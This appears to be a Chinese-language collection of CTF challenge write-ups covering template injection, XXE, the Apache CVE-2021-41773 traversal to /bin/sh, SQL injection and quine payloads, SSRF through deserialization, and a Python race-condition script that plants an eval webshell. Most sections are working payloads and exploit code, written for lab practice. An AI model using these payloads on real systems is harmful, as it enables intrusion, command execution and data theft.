package mainimport ("html/template""loginme/middleware""loginme/route""loginme/templates""github.com/gin-gonic/gin")func main() {gin.SetMode(gin.ReleaseMode)//设置应用程序的生产方式r := gin.Default()//创建一个默认的 Gin 引擎实例 r,这个实例已经包含了基本的中间件(如日志和恢复中间件)templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl"))r.SetHTMLTemplate(templ)r.Use(gin.Logger())r.Use(gin.Recovery())authorized := r.Group("/admin")authorized.Use(middleware.LocalRequired()) //访问middleware的LocalRequired()方法{authorized.GET("/index", route.Login)}r.GET("/", route.Index)r.Run(":9999")}
第一层访问要绕过的代码
package middlewareimport ( "github.com/gin-gonic/gin")func LocalRequired() gin.HandlerFunc {return func(c *gin.Context) {if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {c.AbortWithStatus(403)return}ip := c.ClientIP()if ip == "127.0.0.1" {c.Next()} else {c.AbortWithStatus(401)}}}
就是禁止了x-forwarded-for和x-client-ip这两个,直接用X-Real-IP绕过
package routeimport (_ "embed""fmt""html/template""loginme/structs""loginme/templates""strconv""github.com/gin-gonic/gin")func Index(c *gin.Context) {c.HTML(200, "index.tmpl", gin.H{"title": "Try Loginme",})}func Login(c *gin.Context) {idString, flag := c.GetQuery("id")if !flag {idString = "1"}id, err := strconv.At oi(idString)if err != nil {id = 1}TargetUser := structs.Adminfor _, user := range structs.Users {if user.Id == id {TargetUser = user}}age := TargetUser.Ageif age == "" {age, flag = c.GetQuery("age")if !flag {age = "forever 18 (Tell me the age)"}}if err != nil {c.AbortWithError(500, err)}html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)if err != nil {c.AbortWithError(500, err)}tmpl, err := template.New("admin_index").Parse(html)if err != nil {c.AbortWithError(500, err)}tmpl.Execute(c.Writer, TargetUser)}
接下来就是这段代码,age为空给age赋值,age会被Sprintf()函数格式化字符串并赋给html
tmpl, err := template.New("admin_index").Parse(html)
这段代码就是一个渲染,在go语言当中{{.name}}表示要应用的对象,让它等于{{.Password}}从而获得关键信息
结构体代码
package structstype UserInfo struct {Id intUsername stringAge stringPassword string}var Users = []UserInfo{{Id: 1,Username: "Grandpa Lu",Age: "22",Password: "hack you!",},{Id: 2,Username: "Longlone",Age: "??",Password: "i don't know",},{Id: 3,Username: "Teacher Ma",Age: "20",Password: "guess",},}var Admin = UserInfo{Id: 0,Username: "Admin",Age: "",Password: "flag{}",}
从这段代码中得到id=0才满足条件
所以最终payload
?id=0&age={{.Password}}X-Real-IP:127.0.0.1
php代码审计
[MoeCTF 2022]ezphp
考察变量覆盖
<?phphighlight_file('source.txt');echo "<br><br>";$flag = 'xxxxxxxx';$giveme = 'can can need flag!';$getout = 'No! flag.Try again. Come on!';if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($giveme);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($getout);}foreach ($_POST as $key => $value) { $$key = $value;}foreach ($_GET as $key => $value) { $$key = $$value;}echo 'the flag is : ' . $flag;?>
源码
前两个判断语句就是判断flag的值是否输入了并输入的值是不是等于flag
后面就是循环将键值和与变量更换
payload
?a=flag&flag=a
参考博客:变量覆盖(超详细!)-CSDN博客
[MoeCTF 2022]ezphp writeup-CSDN博客
XML
[NCTF 2019]Fake XML cookbook
一道简单的xml注入,相关知识点
从XML相关一步一步到XXE漏洞 - 先知社区
payload
<?xml version="1.0" ?><!DOCTYPE feng [<!ENTITY file SYSTEM "file:///flag">]><user><username>&file;</username><password>1</password></user>
CVE漏洞
[NSSRound#4 SWPU]ez_rce
CVE-2021-41773目录穿越漏洞
上面是这道题的最终结果
第一步
将传参方式由GET改为POST,并且传入下面的东西
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
第二步就是执行命令
之后找到flag目录但打开不是flag,将目录中文件一个一个打开就可以找到flag目录,在打开flag就可以了,或者用下面命令直接匹配一下
echo;grep -r “NSS” /flag_is_here
php漏洞
[FSCTF 2023]签到plus
php7.4.21源码泄露漏洞
打开网页报错,然后查了一下目录,发现有shell.php
打开是phpinfo()页面,找到flag是一个假的flag,但看到php版本是php7.4.21想到源码泄露漏洞,
按这个按钮可以得到下面效果
同时将bp上面菜单中的重放器的第一个选项的更新content-length的长度这个按钮给取消了,最终效果为
得到源码
HTTP/1.1 200 OKDate: Fri, 04 Oct 2024 05:54:33 GMTConnection: closeContent-Length: 443<?phpphpinfo();$?="a";$?="b";$?="c";$?="d";$?="e";$?="f";$?="g";$?="h";$?="i";$?="j";$?="k";$?="l";$?="m";$?="n";$?="o";$?="p";$?="q";$?="r";$?="s";$?="t";$?="u";$?="v";$?="w";$?="x";$?="y";$?="z";$? = $?. $?. $?. $?. $?. $?. $?. $?;if (isset($_GET['??'])) { eval($?($_GET['??']));};?>
最终payload
shell.php???=tac /f*
得到flag
sql注入
[网鼎杯 2018]Fakebook
本题涉及sql注入,ssrf,反序列化
打开网页可以看到可以注册一个号,注册完之后就没有任何思路了,然后就扫描一下目录得到robots.txt这个目录,打开可以找到源码所在的目录,打开那个目录就可以看到源码
<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }}
从这段代码大概可以发现博客哪里有问题
注册完,点击注册名字可以得到?no这个参数,在这里可以进行sql注入
先试了一下发现是数字注入
先查一下字段
view.php?no=1 order by 4
使用联合注入union select被过滤了尝试使用union/I**/select绕过
查表
view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
查字段
view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
得到有一个data,查看data它让我们传对象并爆出路径
这时候猜测反序列化
在源码中有ssrf漏洞,猜测flag在flag.php当中
function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; }
脚本
<?phpclass UserInfo{ public $name = ""; public $age = 0; public $blog = "file:///var/www/html/flag.php";}echo serialize(new UserInfo());
他是先注入在反序列化
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
然后打开源码有一串base64解码就可以得到flag
[第五空间 2021]yet_another_mysql_injection
知识点:quine注入
打开网页,查看源码,可以看到?source这个目录,访问得到源码
<?phpinclude_once("lib.php");function alertMes($mes,$url){ die("<script>alert('{$mes}');location.href='{$url}';</script>");}function checkSql($s) { if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){ alertMes('hacker', 'index.php'); }}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') { $username=$_POST['username']; $password=$_POST['password']; if ($username !== 'admin') { alertMes('only admin can login', 'index.php'); } checkSql($password); $sql="SELECT password FROM users WHERE username='admin' and password='$password';"; $user_result=mysqli_query($con,$sql); $row = mysqli_fetch_array($user_result); if (!$row) { alertMes("something wrong",'index.php'); } if ($row['password'] === $password) { die($FLAG); } else { alertMes("wrong password",'index.php'); }}if(isset($_GET['source'])){ show_source(__FILE__); die;}?><!-- /?source --><html> <body> <form action="/index.php" method="post"> <input type="text" name="username" placeholder="账号"><br/> <input type="password" name="password" placeholder="密码"><br/> <input type="submit" / value="登录"> </form> </body></html>
查看源码,本来以为是一个时间盲注,sleep可以找到替代benchmark,但最后注入出来user表是空的
仔细观察
if ($row['password'] === $password) { die($FLAG); }
这段代码如果修改password让它与password相等也可以得到flag
最终payload
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
源码可以看这位大佬的博客:https://www.anquanke.com/post/id/253570
参考:[第五空间 2021]yet_another_mysql_injection - KingBridge - 博客园
[NCTF 2018]滴!晨跑打卡
打开网页有一个框可以试一下注入,最终发现它是一个正常的联合注入,只是空格被禁了并且不要在输入框当中输入,要直接get传参才能达到理想的效果,用%0a绕过空格
查列
1’%a0union%a0select%a01,2,3’
查库名
1%27%a0union%a0select%a01,2,(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),4%27
查表名
1%27%a0union%a0select%a01,2,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),4%27
查列名
1%27%a0union%a0select%a01,2,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=‘pcnumber’),4%27
查字段值
1%27%a0union%a0select%a01,2,(select%a0group_concat(flag)%a0from%a0pcnumber),4%27
得到flag
[NSSCTF 2022 Spring Recruit]babysql
一个有过滤的联合注入
-a'/**/union/**/select/**/(select/**/database())'-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'
[UUCTF 2022 新生赛]ezsql
正常的联合注入,其中过滤了or并且会将输入的sql语句倒序,双写绕过
/?user=admin&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+)'1
模仿这个sql语句可以得到表字段,这是最后得到flag的一步
[NISACTF 2022]hardsql
又是一道quine注入
password=_POST[‘passwd’];sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′password’;";
给了提示,感觉是quine注入,登录抓包最终payload
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95
参考博客:[NISACTF 2022]hardsql-CSDN博客
文件包含
[第五空间 2021]EasyCleanup
这道题打开先看源码
<?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); } if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; } function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; } function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; } ?>
审计一下代码第一段代码就是判断是否上传了mode这个参数如果上传了就进行接下来的判断,判断是否上传了shell如果上传了接着判断如果没有上传就显示phpinfo页面经过简单的分析感觉如果去RCE过滤的太多了,所以直接用下一个文件包含
这里用session条件竞争
exp
import ioimport requestsimport threading # 多线程from cffi.backend_ctypes import xrangesessid = ‘0’target = ‘http://1.14.71.254:28592/’file = ‘ph0ebus.txt’ # 上传文件名f = io.BytesIO(b’a’ * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):while True:session.post(target, data={‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php eval($_GET[“cmd”]);?>’},files={‘file’: (file, f)}, cookies={‘PHPSESSID’: sessid})def read(session):while True:resp = session.post(f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system(‘cd /;ls;cat nssctfasdasdflag’);“)if file in resp.text:print(resp.text)event.clear()else:print(”[+]retry")# print(resp.text)if name == “main”:event = threading.Event()with requests.session() as session:for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好threading.Thread(target=write, args=(session,)).start()# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()for i in xrange(1, 30):threading.Thread(target=read, args=(session,)).start()event.set()
还有一些原理细节没有讲参考下面博客
NSSCTF | 在线CTF平台
session伪造
[HDCTF 2023]YamiYami
非预期解
点第一个目录
直接查看环境变量
?url=file:///proc/1/environ